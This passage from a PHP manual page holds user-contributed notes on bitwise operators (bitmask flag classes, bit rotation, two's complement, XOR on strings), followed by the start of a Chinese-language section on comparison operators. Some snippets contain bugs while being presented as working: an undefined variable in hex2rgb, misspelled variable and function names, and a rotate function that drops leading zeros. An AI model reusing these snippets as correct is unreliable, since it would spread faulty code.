    echo (bool)( $bitmask & FLAG_B and $bitmask & FLAG_C );        // True, B and C are set.
    echo (bool)( ( $bitmask & (FLAG_B | FLAG_C) ) ^ (FLAG_B | FLAG_C) );    // False if B and C are set.
    echo (bool)( ( $bitmask & COMBO_BC ) ^ COMBO_BC );            // False if B and C are set.

    echo (bool)( $bitmask & FLAG_C and $bitmask & FLAG_D );        // False, C and D are NOT BOTH set.
    echo (bool)( ( $bitmask & (FLAG_C | FLAG_D) ) ^ (FLAG_C | FLAG_D) );    // True, if C and D are NOT BOTH set.

    // Resetting single flag.
    $bitmask &= $bitmask ^ FLAG_B;    // Unsets B
    $bitmask &= $bitmask ^ FLAG_A;    // A remains unset.
    var_dump( $bitmask );            // Only C still set (=4)

    // Resetting multiple flags.
    $bitmask &= $bitmask ^ ( FLAG_C | FLAG_D );    // Unsets C and/or D
    var_dump( $bitmask );            // No flags set (=0)
joey 18-Jan-2016 09:05
If you want a quick one liner for reversing binary and performance/sanity isn't an issue:

    function reverse_bits($n) {
        return (int)base_convert(strrev(str_pad(base_convert($n, 10, 2), PHP_INT_SIZE * 8, 0, STR_PAD_LEFT)), 2, 10);
    }

Expect it to behave strangely for the signed bit. Best to use for < PHP_INT_SIZE * 8 to avoid peculiarity. You can also skip the cast if you don't mind keeping your number as a string. base convert appears to work for large precision or perhaps arbitrary but be prepared for strangeness (double, mixed types, precision loss, etc) if you need to work on the revolting number.

Use at your own peril.
luis at rosety dot com 18-Oct-2015 02:05
Example of function using bitwise operations for converting hexadecimal color (usually given as 6 hexadecimal digit string, into separated RGB integers)

<?php

function hex2rgb($hex){

    $dec = hexdec($hexcolor);               // $hex string to decimal value
    $r = $dec & hexdec('FF0000');          //Mask for red
    $g = $dec & hexdec('00FF00');         //Mask for green
    $b = $dec & hexdec('0000FF');         //Mask for blue

    return array($r>>16, $g>>8, $b);       // Shift full right each color from its original position
}
?>

Example of use

<?php
$rgb = hex2rgb('112233');
echo "red: ".$rgb[0]."\n";
echo "green: ".$rgb[1]."\n";
echo "blue: ".$rgb[2]."\n";
?>

Would produce:

red: 17
green: 34
blue: 51

Since:
dechex(17) = '#11'
dechex(34) = '#22'
dechex(51) = '#33'
J. Ketting 12-Jul-2014 09:39
@zooly

Don't forget the leading zeros.
It's very important if you want to write a function similar to the assembly instructions 'ror' and 'rol' (Rotate on Right and Rotate on Left), because of dword value; rotating the binary always takes 32 positions and includes the leading zeros!
So this is the right way:

<?php

function rotate ($decimal, $bits) {

  $binary = decbin($decimal);
  $binary = str_pad($binary, 32, '0', STR_PAD_LEFT);
  return (
    bindec(substr($binary, $bits).substr($binary, 0, $bits))
  );

}

?>

Look at this assembly code:

mov edx, 1bf5616c
ror edx, 8

After this operation: edx = 0x6c1bf561 (binary: 1101100000110111111010101100001)
But your code returns 0x0d9bf561 (binary: 1101100110111111010101100001)
In order to get the right value you have to add the leading zeros by adding that line with strpad() (see above). Very important!
sag at ich dot net 14-Jul-2013 06:52
me reimplement for bitwise NOT (~)

    protected function flipBin($number) {
        $bin = str_pad(base_convert($number, 10, 2), 32, 0, STR_PAD_LEFT);
        for ($i = 0; $i < 32; $i++) {
            switch ($bin{$i}) {
                case '0' :
                    $bin{$i} = '1';
                    break;
                case '1' :
                    $bin{$i} = '0';
                    break;
            }
        }
        return bindec($bin);
    }

the benefit is, it works with numbers greater MAX_INT
vivekanand dot pathak25 at gmail dot com 16-Mar-2013 07:59
$a =     9;
$b =     10;
echo $a & $b;

place value   128  64  32  16   8  4   2   1
$a                     0      0    0     0    1  0   0   1   =9
$b                     0      0    0     0    1   0  1   0   =10

result   8

 only bit they share together is the 8 bit. So 8 gets returned.

  $a =     36;
$b =     103;
echo $a & $b;

place value   128  64  32  16   8    4   2   1
$a                     0      0    1     0    0    1   0   0   =36
$b                     0      1    1     0    0    1   1   1   =103

result  32+4 = 36
the only bits these two share together are the bits 32 and 4 which when added together return 36.

$a =     9;
$b =     10;
echo $a | $b;

place value   128  64  32  16   8  4   2   1
$a                     0      0    0     0    1  0   0   1   =9
$b                     0      0    0     0    1   0  1   0   =10

result 8+2+1 = 11
 3 bits set, in the 8, 2, and 1 column.add those up 8+2+1 and you get 11

$a =     9;
$b =     10;
echo $a ^ $b;

place value   128  64  32  16   8  4   2   1
$a                     0      0    0     0    1  0   0   1   =9
$b                     0      0    0     0    1   0  1   0   =10

result  2+1 = 3
the 2 bit and the 1 bit that they each have set but don't share. Soooo 2+1 = 3
erich at seachawaii dot com 14-Dec-2012 03:15
Just a note regarding negative shift values, as the documentation states each shift is an integer multiply or divide (left or right respectively) by 2.  That means a negative shift value (the right hand operand) effects the sign of the shift and NOT the direction of the shift as I would have expected.
FE. 0xff >> -2 results in 0x0
and 0xff << -2 result in 0xFFFFFFFFC0000000 (dependant on PHP_INT_MAX)
frankemeks77 at yahoo dot com 21-Aug-2012 01:24
Just learning Bitwise Shift Operators.

The easiest way to resolve a bitwise  shift operators is my multiply or dividing each step by two for left shift or right shift respectively

Example:

LEFT SHIFT
<?php echo 8 << 3; //64 ?>

//same as
<?php echo 8 * 2 * 2 * 2; ?>

RIGHT SHIFT
<?php echo 8 >> 3; //1 ?>

//same as
<?php echo ((8/2)/2)/2; //1 ?>

//Solving on a paper 8/2 = 4/2 = 2/2 = 1
wbcarts at juno dot com 17-May-2012 03:52
BITWISE FLAGS for Custom PHP Objects

Sometimes I need a custom PHP Object that holds several boolean TRUE or FALSE values. I could easily include a variable for each of them, but as always, code has a way to get unweildy pretty fast. A more intelligent approach always seems to be the answer, even if it seems to be overkill at first.

I start with an abstract base class which will hold a single integer variable called $flags. This simple integer can hold 32 TRUE or FALSE boolean values. Another thing to consider is to just set certain BIT values without disturbing any of the other BITS -- so included in the class definition is the setFlag($flag, $value) function, which will set only the chosen bit. Here's the abstract base class definition:

<?php

# BitwiseFlag.php

abstract class BitwiseFlag
{
  protected $flags;

  /*
   * Note: these functions are protected to prevent outside code
   * from falsely setting BITS. See how the extending class 'User'
   * handles this.
   *
   */
  protected function isFlagSet($flag)
  {
    return (($this->flags & $flag) == $flag);
  }

  protected function setFlag($flag, $value)
  {
    if($value)
    {
      $this->flags |= $flag;
    }
    else
    {
      $this->flags &= ~$flag;
    }
  }
}

?>

The class above is abstract and cannot be instantiated, so an extension is required. Below is a simple extension called User -- which is severely truncated for clarity. Notice I am defining const variables AND methods to use them.

<?php

# User.php

require('BitwiseFlag.php');

class User extends BitwiseFlag
{
  const FLAG_REGISTERED = 1; // BIT #1 of $flags has the value 1
  const FLAG_ACTIVE = 2;     // BIT #2 of $flags has the value 2
  const FLAG_MEMBER = 4;     // BIT #3 of $flags has the value 4
  const FLAG_ADMIN = 8;      // BIT #4 of $flags has the value 8

  public function isRegistered(){
    return $this->isFlagSet(self::FLAG_REGISTERED);
  }

  public function isActive(){
    return $this->isFlagSet(self::FLAG_ACTIVE);
  }

  public function isMember(){
    return $this->isFlagSet(self::FLAG_MEMBER);
  }

  public function isAdmin(){
    return $this->isFlagSet(self::FLAG_ADMIN);
  }

  public function setRegistered($value){
    $this->setFlag(self::FLAG_REGISTERED, $value);
  }

  public function setActive($value){
    $this->setFlag(self::FLAG_ACTIVE, $value);
  }

  public function setMember($value){
    $this->setFlag(self::FLAG_MEMBER, $value);
  }

  public function setAdmin($value){
    $this->setFlag(self::FLAG_ADMIN, $value);
  }

  public function __toString(){
    return 'User [' .
      ($this->isRegistered() ? 'REGISTERED' : '') .
      ($this->isActive() ? ' ACTIVE' : '') .
      ($this->isMember() ? ' MEMBER' : '') .
      ($this->isAdmin() ? ' ADMIN' : '') .
    ']';
  }
}

?>

This seems like a lot of work, but we have addressed many issues, for example, using and maintaining the code is easy, and the getting and setting of flag values make sense. With the User class, you can now see how easy and intuitive bitwise flag operations become.

<?php

require('User.php')

$user = new User();
$user->setRegistered(true);
$user->setActive(true);
$user->setMember(true);
$user->setAdmin(true);

echo $user;  // outputs: User [REGISTERED ACTIVE MEMBER ADMIN]

?>
Anonymous 12-Oct-2011 07:56
To make very clear why ("18" & "32") is "10".
1) they they are both strings ,
2) "&" operator works on strings by taking each !Character! from each string and make a bit wise & between them and add this value to the resulting string

So:
"18" is made up of two characters: 0x31, 0x38
"32" is made up of two characters: 0x33, 0x32
----RESULT-----
0x31 & 0x33 = 0x31 => "1"
0x38 & 0x32 = 0x30 => "0"

and the result is "10" which is 100% correct.
spencer-p-moy at example dot com 17-Sep-2011 06:21
The NOT or complement operator ( ~ ) and negative binary numbers can be confusing.

~2 = -3  because you use the formula  ~x = -x - 1  The bitwise complement of a decimal number is the negation of the number minus 1.

NOTE: just using 4 bits here for the examples below but in reality PHP uses 32 bits.

Converting a negative decimal number (ie: -3) into binary takes 3 steps:
1) convert the positive version of the decimal number into binary (ie: 3 = 0011)
2) flips the bits (ie: 0011 becomes 1100)
3) add 1 (ie: 1100  + 0001 = 1101)

You might be wondering how does 1101 = -3. Well PHP uses the method "2's complement" to render negative binary numbers. If the left most bit is a 1 then the binary number is negative and you flip the bits and add 1. If it is 0 then it is positive and you don't have to do anything. So 0010 would be a positive 2. If it is 1101, it is negative and you flip the bits to get 0010. Add 1 and you get 0011 which equals -3.
aba at example dot com 12-Aug-2011 05:07
It is true that if both the left-hand and right-hand parameters are strings, the bitwise operator will operate on the characters' ASCII values. However, a complement is necessary to complete this sentence.
It is not irrelevant to point out that the decimal character's ASCII value have different binary values.

<?php
if (('18' & '32') == '10') {
    echo ord('18'); //return decimal value 49, which have binary value 110001
    echo ord('32'); //return decimal value 51, which have binary value 110011
    echo ord('10'); //return decimal value 49, which have binary value 110001
    //Therefore 110001 & 110011 = 110001
}
?>
ivoras at gmail dot com 06-Jun-2011 04:44
As an additional curiosity, for some reason the result of the operation ("18" & "32") is "10". In other words, try avoiding using the binary operators on strings :)
josh at joshstrike dot com 11-Feb-2011 07:54
More referencing this for myself than anything... if you need to iterate through every possible binary combination where $n number of flags are set to 1 in a mask of $bits length:

<?php
echo masksOf(3,10);

function masksOf($n,$bits) {
    $u = pow(2,$bits)-1; //start value, full flags on.
    $masks = array();
    while ($u>0) {
        $z = numflags($u);
        if ($z==$n) array_push($masks,$u);
        $u--;
    }
    return ($masks);
}

function numflags($n) {
    $k = 0;
    while ($n) {
        $k += $n & 1;
        $n = $n >> 1;
    }
    return ($k);

//    alternately:
//    $u = 0;
//    for ($k=1;$k<=$n;$k*=2) {
//        $u+=($n&$k?1:0);
//    }
//    return ($u);
}
?>
amckenzie4 at gmail dot com 25-Aug-2010 08:19
If, like me, you've never thought about how PHP deals with binary, the output of the bitwise NOT may confuse you.  For instance, this:

$bin = 2;
$notbin = ~$bin;

echo "Bin: " . decbin($bin) . "  !bin:  " . decbin($notbin) . "\n";

returns this:

Bin: 10  !bin:  1111111111111111111111111111111111111111111111111111111111111101

The reason is that all binary numbers are treated as 32 bits, even if you've manually entered less.  In order to get the result I expected (01), it was necessary to AND the result with the number of bits I wanted:  in this case, 2 (the number 3, in decimal).  Be aware that all return values will have zeros removed from the left until they reach a bit that is set to 1.  Continuing the above example, the following:

$notbin_2 = ~$bin & '3';
echo "!bin & 3:  " . decbin($notbin_2) . "\n";

returns this:

!bin & 3:  1

Note that the actual value was a string of 31 zeros followed by a 1, but the zeros were not shown.  This is probably a good thing.

Furthermore, the NOT operator uses two's complement, which means the number you get may be even stranger than you expect:  using two's complement means that ~2 == -3.  There are plenty of good explanations of two's complement online, so I won't go into that question here.

If what you want is just to reverse a string of bits without any interpretation, you can use a function like this:

function bitnot($bin)
 {
   $not = "";
   for ($i = 0; $i < strlen($bin); $i++)
   {
      if($bin[$i] == 0) { $not .= '1'; }
      if($bin[$i] == 1) { $not .= '0'; }
   }
   return $not;
 }

It takes a binary string of any length, reverses the bits, and returns the new string.  You can then treat it as a binary number, use bindec() to turn it into a decimal, or whatever you want.

I hope this helps someone as much as it would have helped me a week ago!
Core Xii 11-Aug-2010 10:24
Be very careful when XOR-ing strings! If one of the values is empty (0, '', null) the result will also be empty!

<?php
var_dump(1234 ^ 0); // int(1234)
var_dump(1234 ^ ''); // int(1234)
var_dump(1234 ^ null); // int(1234)
var_dump('hello world' ^ 0); // int(0)
var_dump('hello world' ^ ''); // string(0) ""
var_dump('hello world' ^ null); // int(0)
?>

This seems rather inconsistent behavior. An integer XOR'd with zero results the original integer. But a string XOR'd with an empty value results an empty value!

My password hashing function was always returning the same hash... Because I was XOR-ing it with a salt that was sometimes empty!
Adam 15-May-2010 01:25
Be careful of order of operations.

for example, you may want to check if the second bit is set:

<?php
if ($x & 2 == 2) {
    /* code */
}
?>

is different than

<?php
if (($x & 2) == 2) {
    /* code */
}
?>

and the latter of the two should be used.
Anonymous 12-Jan-2010 10:18
Beware that PHP's << and >> operators, unlike the other bitwise operators do not work on ASCII values; << and >> cast their operands to integer (when possible) before shifting and will always return an integer result.

For example:

<?php
$foo = "1"; // chr(49)
var_dump($foo << 1); // Output is int(2)

$foo = "!"; // chr(33)
var_dump($foo << 1); // Output is int(0)
?>
zooly at globmi dot com 19-Oct-2009 07:52
Here is an example for bitwise leftrotate and rightrotate.

Note that this function works only with decimal numbers - other types can be converted with pack().

<?php

function rotate ( $decimal, $bits) {

  $binary = decbin($decimal);

  return (
    bindec(substr($binary, $bits).substr($binary, 0, $bits))
  );

}

// Rotate 124 (1111100) to the left with 1 bits

echo rotate(124, 1);

// = 121 (1111001)

// Rotate 124 (1111100) to the right with 3 bits

echo rotate(124, -3);

// = 79 (1001111)

?>
grayda dot NOSPAM at DONTSPAM dot solidinc dot org 03-Jun-2009 08:48
Initially, I found bitmasking to be a confusing concept and found no use for it. So I've whipped up this code snippet in case anyone else is confused:

<?php

    // The various details a vehicle can have
    $hasFourWheels = 1;
    $hasTwoWheels  = 2;
    $hasDoors      = 4;
    $hasRedColour  = 8;

    $bike          = $hasTwoWheels;
    $golfBuggy     = $hasFourWheels;
    $ford          = $hasFourWheels | $hasDoors;
    $ferrari       = $hasFourWheels | $hasDoors | $hasRedColour;

    $isBike        = $hasFourWheels & $bike; # False, because $bike doens't have four wheels
    $isGolfBuggy   = $hasFourWheels & $golfBuggy; # True, because $golfBuggy has four wheels
    $isFord        = $hasFourWheels & $ford; # True, because $ford $hasFourWheels

?>

And you can apply this to a lot of things, for example, security:

<?php

    // Security permissions:
    $writePost = 1;
    $readPost = 2;
    $deletePost = 4;
    $addUser = 8;
    $deleteUser = 16;

    // User groups:
    $administrator = $writePost | $readPosts | $deletePosts | $addUser | $deleteUser;
    $moderator = $readPost | $deletePost | $deleteUser;
    $writer = $writePost | $readPost;
    $guest = $readPost;

    // function to check for permission
    function checkPermission($user, $permission) {
        if($user & $permission) {
            return true;
        } else {
            return false;
        }
    }

    // Now we apply all of this!
    if(checkPermission($administrator, $deleteUser)) {
        deleteUser("Some User"); # This is executed because $administrator can $deleteUser
    }

?>

Once you get your head around it, it's VERY useful! Just remember to raise each value by the power of two to avoid problems
Silver 12-May-2009 04:36
Regarding what Bob said about flags, I'd like to point out there's a 100% safe way of defining flags, which is using hexadecimal notation for integers:

<?php
define("f0", 0x1); // 2^0
define("f1", 0x2); // 2^1
define("f2", 0x4); // 2^2
define("f3", 0x8); // 2^3
define("f4", 0x10); // 2^4
define("f5", 0x20); // 2^5
// ...
define("f20", 0x1000000); // 2^20
define("f21", 0x2000000); // 2^21
define("f22", 0x4000000); // 2^22
define("f23", 0x8000000); // 2^23
define("f24", 0x10000000); // 2^24
// ... up to 2^31
?>

I always avoid using decimal notation when I have a large amount of different flags, because it's very easy to misspell numbers like 2^20 (1048576).
Bob 26-Apr-2009 12:19
Here is an easy way to use bitwise operation for 'flag' functionality.
By this I mean managing a set of options which can either be ON or OFF, where zero or more of these options may be set and each option may only be set once. (If you are familiar with MySQL, think 'set' datatype).
Note: to older programmers, this will be obvious.

Here is the code:
<?php
function set_bitflag(/*variable-length args*/)
{
    $val = 0;
    foreach(func_get_args() as $flag) $val = $val | $flag;
    return $val;
}
function is_bitflag_set($val, $flag)
{
    return (($val & $flag) === $flag);
}
// Define your flags
define('MYFLAGONE', 1); // 0001
define('MYFLAGTWO', 2); // 0010
define('MYFLAGTHREE', 4); // 0100
define('MYFLAGFOUR', 8); // 1000
?>

I should point out: your flags are stored in a single integer. You can store loads of flags in a single integer.

To use my functions, say you wanted to set MYFLAGONE and MYFLAGTHREE, you would use:
<?php
$myflags = set_bitflags(MYFLAGONE, MYFLAGTHREE);
?>
Note: you can pass set_bitflags() as many flags to set as you want.

When you want to test later if a certain flag is set, use e.g.:
<?php
if(is_bitflag_set($myflags, MYFLAGTWO))
{
    echo "MYFLAGTWO is set!";
}
?>

The only tricky part is defining your flags. Here is the process:
1.  Write a list of your flags
2.  Count them
3.  Define the last flag in your list as 1 times 2 to the power of <count> minus one. ( I.E. 1*2^(<count>-1) )
3. Working backwards through your list, from the last to the first, define each one as half of the previous one. You should reach 1 when you get to the first

If you want to understand binary numbers, bits and bitwise operation better, the wikipedia page explains it well - http://en.wikipedia.org/wiki/Bitwise_operation.
cw3theophilus at gmail dot com 15-Apr-2009 02:22
For those who are looking for a circular bit shift function in PHP (especially useful for cryptographic functions) that works with negtive values, here is a little function I wrote:

(Note: It took me almost a whole day to get this to work with negative $num values (I couldn't figure out why it sometimes worked and other times didn't), because PHP only has an arithmatic and not a logical bitwise right shift like I am used to. I.e. 0x80000001>>16 will ouputs (in binary) "1111 1111 1111 1111 1000 0000 0000 0000" instead of "0000 0000 0000 0000 1000 0000 0000 0000" like you would expect. To fix this you have to apply the mask (by bitwise &) equal to 0x7FFFFFFF right shifted one less than the offset you are shifting by.)

<?php
function circular_shift($num,$offset) { //Do a nondestructive circular bitwise shift, if offset positive shift left, if negative shift right
    $num=(int)$num;
    $mask=0x7fffffff; //Mask to cater for the fact that PHP only does arithmatic right shifts and not logical i.e. PHP doesn't give expected output when right shifting negative values
    if ($offset>0) {
        $num=($num<<$offset%32) | (($num>>(32-$offset%32)) & ($mask>>(31-$offset%32)));
    }
    elseif ($offset<0){
        $offset=abs($offset);
        $num=(($num>>$offset%32) & ($mask>>(-1+$offset%32))) | ($num<<(32-$offset%32));
    }
    return $num;
}
?>
m0sh at hotmail dot com 07-Aug-2008 12:03
@greenone - nice function, thanks. I've adapted it for key usage:

<?php
function bitxor($str, $key) {
    $xorWidth = PHP_INT_SIZE*8;
    // split
    $o1 = str_split($str, $xorWidth);
    $o2 = str_split(str_pad('', strlen($str), $key), $xorWidth);
    $res = '';
    $runs = count($o1);
    for($i=0;$i<$runs;$i++)
        $res .= decbin(bindec($o1[$i]) ^ bindec($o2[$i]));
    return $res;
}
?>
bartbons at debster.nl 07-Apr-2008 02:27
@kendsnyder at gmail dot com

Thanx for your great function. But your function is not 100% correct. It should be:

function safeBitCheck($number,$comparison) {
    if( $number < 2147483647 ) {
        return ($number & $comparison)==$comparison;
    } else {
        $binNumber = strrev(base_convert($number,10,2));
        $binComparison = strrev(base_convert($comparison,10,2));
        for( $i=0; $i<strlen($binComparison); $i++ ) {
            if( strlen($binNumber) - 1 <$i || ($binComparison{$i}==="1" && $binNumber{$i}==="0") ) {
                return false;
            }
        }
        return true;
    }
}

Mind the 'minus 1' on "if( strlen($binNumber) - 1 <$i".

cheers, Bart
forlamp at msn dot com 06-Dec-2007 06:35
two's complement logical operation for 32-bit.

$x must be (int) when passing it to this function to work properly.

function comp2($x)      // 32bit bitwise complement
{
    $mask = 0x80000000;

    if ($x < 0)
    {
        $x &= 0x7FFFFFFF;
        $x = ~$x;

        return $x ^ $mask;
    }
    else
    {
        $x = $x ^ 0x7FFFFFFF;

        return $x | $mask;
    }
}
zewt at hotmail dot com 11-Jan-2007 11:28
if you use bitwise you MUST make sure your variables are integers, otherwise you can get incorrect results.

I recommend ALWAYS

(int)$var & (int)$var2

This will save you many headaches when troubleshooting a completely illogical result.
Nina Cording 29-Oct-2005 09:50
For those who were searching for a way to actually rotate the bits of a number, here are some little functions I wrote:

<?php

function bitRotate32($value,$amount) {
    if ($amount>0) {
        $amount %= 32;
        $value = ($value<<$amount) | ($value>>(32-$amount));
    } elseif ($amount<0) {
        $amount = -$amount%32;
        $value = ($value>>$amount) | ($value<<(32-$amount));
    }
    return $value;
}

function bitRotate($value,$amount,$bits) {
    $mask = ($bits<32) ? 0x7fffffff >> (31-$bits) : 0xffffffff;
    if ($amount>0) {
        $amount %= $bits;
        $value = ($value<<$amount) | ($value>>($bits-$amount));
    } elseif ($amount<0) {
        $amount = -$amount%$bits;
        $value = ($value>>$amount) | ($value<<($bits-$amount));
    }
    return $value & $mask;
}

// test the rotation:

$test = 4123;
for ($i=0; $i<64; $i++) {
    $value = bitRotate($test,-$i,8); // rotates 8 bits to the left (-$amount)
    echo sprintf("%032b<br/>",$value);
}

?>
zlel grxnslxves13 at hotmail dot com~=s/x/ee/g 26-Oct-2005 07:30
I refer to Eric Swanson's post on Perl VS PHP's implementation of xor.

Actually, this is not an issue with the implementation of XOR,  but a lot more to do with the lose-typing policy that PHP adopts.

Freely switching between int and float is good for most cases, but problems happen when your value is near the word size of your machine. Which is to say, 32-bit machines will encounter problems with values that hover around 0x80000000 - primarily because PHP does not support unsigned integers.

using bindec/decbin would address this issue as a work-around to do unsigned-int xor, but here's the real picture (i'm not claiming that this code will perform better, but this would be a better pedagogical code):

<?php

function unsigned_xor32 ($a, $b)
{
        $a1 = $a & 0x7FFF0000;
        $a2 = $a & 0x0000FFFF;
        $a3 = $a & 0x80000000;
        $b1 = $b & 0x7FFF0000;
        $b2 = $b & 0x0000FFFF;
        $b3 = $b & 0x80000000;

        $c = ($a3 != $b3) ? 0x80000000 : 0;

        return (($a1 ^ $b1) |($a2 ^ $b2)) + $c;
}

$x = 3851235679;
$y = 43814;
echo "<br>This is the value we want";
echo "<br>3851262585";

echo "<br>The result of a native xor operation on integer values is treated as a signed integer";
echo "<br>".($x ^ $y);

echo "<br>We therefore perform the MSB separately";
echo "<br>".unsigned_xor32($x, $y);

?>

This is really foundation stuff, but for those of you who missed this in college, there seems to be something on 2's complement here:

http://www.evergreen.edu/biophysics/technotes/program/2s_comp.htm
Tbrendstrup 29-Sep-2005 05:23
note that the shift operators are arithmetic, not logic like in C. You may get unexpected results with negative numbers, see http://en.wikipedia.org/wiki/Bitwise_operation

here's a function to do logic right shifts.

<?php

function lshiftright($var,$amt)
{
    $mask = 0x40000000;
    if($var < 0)
    {
        $var &= 0x7FFFFFFF;
        $mask = $mask >> ($amt-1);
        return ($var >> $amt) | $mask;
    }
    return $var >> $amt;
}

$val = -10;

printf("arithmetic shift on a negative integer<br>%1\$032b<br>%2\$032b<br>%1\$0d<br>%2\$0d<br>",$val, $val >> 1 );

printf("logic shift on a negative integer<br>%1\$032b<br>%2\$032b<br>%1\$0d<br>%2\$0d<br>",$val, lshiftright($val, 1));

printf("logic shift on a positive integer<br>%1\$032b<br>%2\$032b<br>%1\$0d<br>%2\$0d<br>",-$val, lshiftright(-$val, 1));
?>

gives the output:

arithmetic shift on a negative integer
11111111111111111111111111110110
11111111111111111111111111111011
-10
-5

logic shift on a negative integer
11111111111111111111111111110110
01111111111111111111111111111011
-10
2147483643

logic shift on a positive integer
00000000000000000000000000001010
00000000000000000000000000000101
10
5
Eric Swanson 31-Aug-2005 05:19
Perl vs. PHP implementation of the ^ operator:

After attempting to translate a Perl module into PHP, I realized that Perl's implementation of the ^ operator is different than the PHP implementation.  By default, Perl treats the variables as floats and PHP as integers.  I was able to verify the PHP use of the operator by stating "use integer;" within the Perl module, which output the exact same result as PHP was using.

The logical decision would be to cast every variable as (float) when using the ^ operator in PHP.  However, this will not yield the same results.  After about a half hour of banging my head against the wall, I discovered a gem and wrote a function using the binary-decimal conversions in PHP.

/*
not having much experience with bitwise operations, I cannot tell you that this is the BEST solution, but it certainly is a solution that finally works and always returns the EXACT same result Perl provides.
*/
function binxor($a, $b) {
    return bindec(decbin((float)$a ^ (float)$b));
}

//normal PHP code will not yeild the same result as Perl
$result = 3851235679 ^ 43814; //= -443704711

//to get the same result as Perl
$result = binxor(3851235679, 43814); //= 3851262585
//YIPPEE!!!

//to see the differences, try the following
$a = 3851235679 XOR 43814;
$b = 3851235679 ^ 43814; //integer result
$c = (float)3851235679 ^ (float)43814; //same as $b
$d = binxor(3851235679, 43814); //same as Perl!!

echo("A: $a<br />");
echo("B: $b<br />");
echo("C: $c<br />");
echo("D: $d<br />");
S?b. 04-Mar-2005 03:13
A bitwise operators practical case :

<?php
    // We want to know the red, green and blue values of this color :
    $color = 0xFEA946 ;

    $red = $color >> 16 ;
    $green = ($color & 0x00FF00) >> 8 ;
    $blue = $color & 0x0000FF ;

    printf('Red : %X (%d), Green : %X (%d), Blue : %X (%d)',
        $red, $red, $green, $green, $blue, $blue) ;

    // Will display...
    // Red : FE (254), Green : A9 (169), Blue : 46 (70)
?>
icy at digitalitcc dot com 23-Feb-2005 11:24
Say... you really want to have say... more than 31 bits available to you in your happy bitmask. And you don't want to use floats. So, one solution would to have an array of bitmasks, that are accessed through some kind of interface.

Here is my solution for this: A class to store an array of integers being the bitmasks. It can hold up to 66571993087 bits, and frees up unused bitmasks when there are no bits being stored in them.

<?php
/*
    Infinite* bits and bit handling in general.

    *Not infinite, sorry.

    Perceivably, the only limit to the bitmask class in storing bits would be
    the maximum limit of the index number, on 32 bit integer systems 2^31 - 1,
    so 2^31 * 31 - 1 = 66571993087 bits, assuming floats are 64 bit or something.
    I'm sure that's enough enough bits for anything.. I hope :D.
*/

DEFINE('INTEGER_LENGTH',31); // Stupid signed bit.

class bitmask
{
    protected $bitmask = array();

    public function set( $bit ) // Set some bit
    {
        $key = (int) ($bit / INTEGER_LENGTH);
        $bit = (int) fmod($bit,INTEGER_LENGTH);
        $this->bitmask[$key] |= 1 << $bit;
    }

    public function remove( $bit ) // Remove some bit
    {
        $key = (int) ($bit / INTEGER_LENGTH);
        $bit = (int) fmod($bit,INTEGER_LENGTH);
        $this->bitmask[$key] &= ~ (1 << $bit);
        if(!$this->bitmask[$key])
            unset($this->bitmask[$key]);
    }

    public function toggle( $bit ) // Toggle some bit
    {
        $key = (int) ($bit / INTEGER_LENGTH);
        $bit = (int) fmod($bit,INTEGER_LENGTH);
        $this->bitmask[$key] ^= 1 << $bit;
        if(!$this->bitmask[$key])
            unset($this->bitmask[$key]);
    }

    public function read( $bit ) // Read some bit
    {
        $key = (int) ($bit / INTEGER_LENGTH);
        $bit = (int) fmod($bit,INTEGER_LENGTH);
        return $this->bitmask[$key] & (1 << $bit);
    }

    public function stringin($string) // Read a string of bits that can be up to the maximum amount of bits long.
    {
        $this->bitmask = array();
        $array = str_split( strrev($string), INTEGER_LENGTH );
        foreach( $array as $key => $value )
        {
            if($value = bindec(strrev($value)))
                $this->bitmask[$key] = $value;
        }
    }

    public function stringout() // Print out a string of your nice little bits
    {
        $string = "";

        $keys = array_keys($this->bitmask);
        sort($keys, SORT_NUMERIC);

        for($i = array_pop($keys);$i >= 0;$i--)
        {
            if($this->bitmask[$i])
                $string .= sprintf("%0" . INTEGER_LENGTH . "b",$this->bitmask[$i]);
        }
        return $string;
    }

    public function clear() // Purge!
    {
        $this->bitmask = array();
    }

    public function debug() // See what's going on in your bitmask array
    {
        var_dump($this->bitmask);
    }
}
?>

It treats a positive integer input as a bit, so you don't have to deal with the powers of 2 yourself.

<?php
$bitmask = new bitmask();

$bitmask->set(8979879); // Whatever

$bitmask->set(888);

if($bitmask->read(888))
    print 'Happy!\n';

$bitmask->toggle(39393); // Yadda yadda

$bitmask->remove(888);

$bitmask->debug();

$bitmask->stringin("100101000101001000101010010101010
00000001000001");

print $bitmask->stringout() . "\n";

$bitmask->debug();

$bitmask->clear();

$bitmask->debug();
?>

Would produce:

Happy!

array(2) {
  [289673]=>
  int(65536)
  [1270]=>
  int(8388608)
}

0000000000000001001010001010010001010100101010100
0000001000001

array(2) {
  [0]=>
  int(355106881)
  [1]=>
  int(37970)
}

array(0) {
}


比较运算符

比较运算符，如同它们名称所暗示的，允许对两个值进行比较。还可以参考 PHP 类型比较表看不同类型相互比较的例子。

比较运算符
例子 | 名称 | 结果
$a == $b | 等于 | true，如果类型转换后 $a 等于 $b。
$a === $b | 全等 | true，如果 $a 等于 $b，并且它们的类型也相同。
$a != $b | 不等 | true，如果类型转换后 $a 不等于 $b。
$a <> $b | 不等 | true，如果类型转换后 $a 不等于 $b。
$a !== $b | 不全等 | true，如果 $a 不等于 $b，或者它们的类型不同。
$a < $b | 小于 | true，如果 $a 严格小于 $b。
$a > $b | 大于 | true，如果 $a 严格大于 $b。
$a <= $b | 小于等于 | true，如果 $a 小于或者等于 $b。
$a >= $b | 大于等于 | true，如果 $a 大于或者等于 $b。
$a <=> $b | 太空船运算符（组合比较符） | 当$a小于、等于、大于 $b时 分别返回一个小于、等于、大于0的 int 值。

当两个操作对象都是 数字字符串， 或一个是数字另一个是 数字字符串， 就会自动按照数值进行比较。 此规则也适用于 switch 语句。 当比较时用的是 === 或 !==， 则不会进行类型转换——因为不仅要对比数值，还要对比类型。

Warning

PHP 8.0.0 之前，如果 string 与数字或者数字字符串进行比较， 则在比较前会将 string 转化为数字。 在如下示例中会出现不可预料的结果：

<?php
var_dump(0 == "a");
var_dump("1" == "01");
var_dump("10" == "1e1");
var_dump(100 == "1e2");

switch ("a") {
case 0:
echo "0";
break;
case "a":
echo "a";
break;
}
?>

以上示例在 PHP 7 中的输出：

bool(true)
bool(true)
bool(true)
bool(true)
0

以上示例在 PHP 8 中的输出：

bool(false)
bool(true)
bool(true)
bool(true)
a

<?php
// 整数
echo 1 <=> 1; // 0
echo 1 <=> 2; // -1
echo 2 <=> 1; // 1

// 浮点数
echo 1.5 <=> 1.5; // 0
echo 1.5 <=> 2.5; // -1
echo 2.5 <=> 1.5; // 1

// 字符串
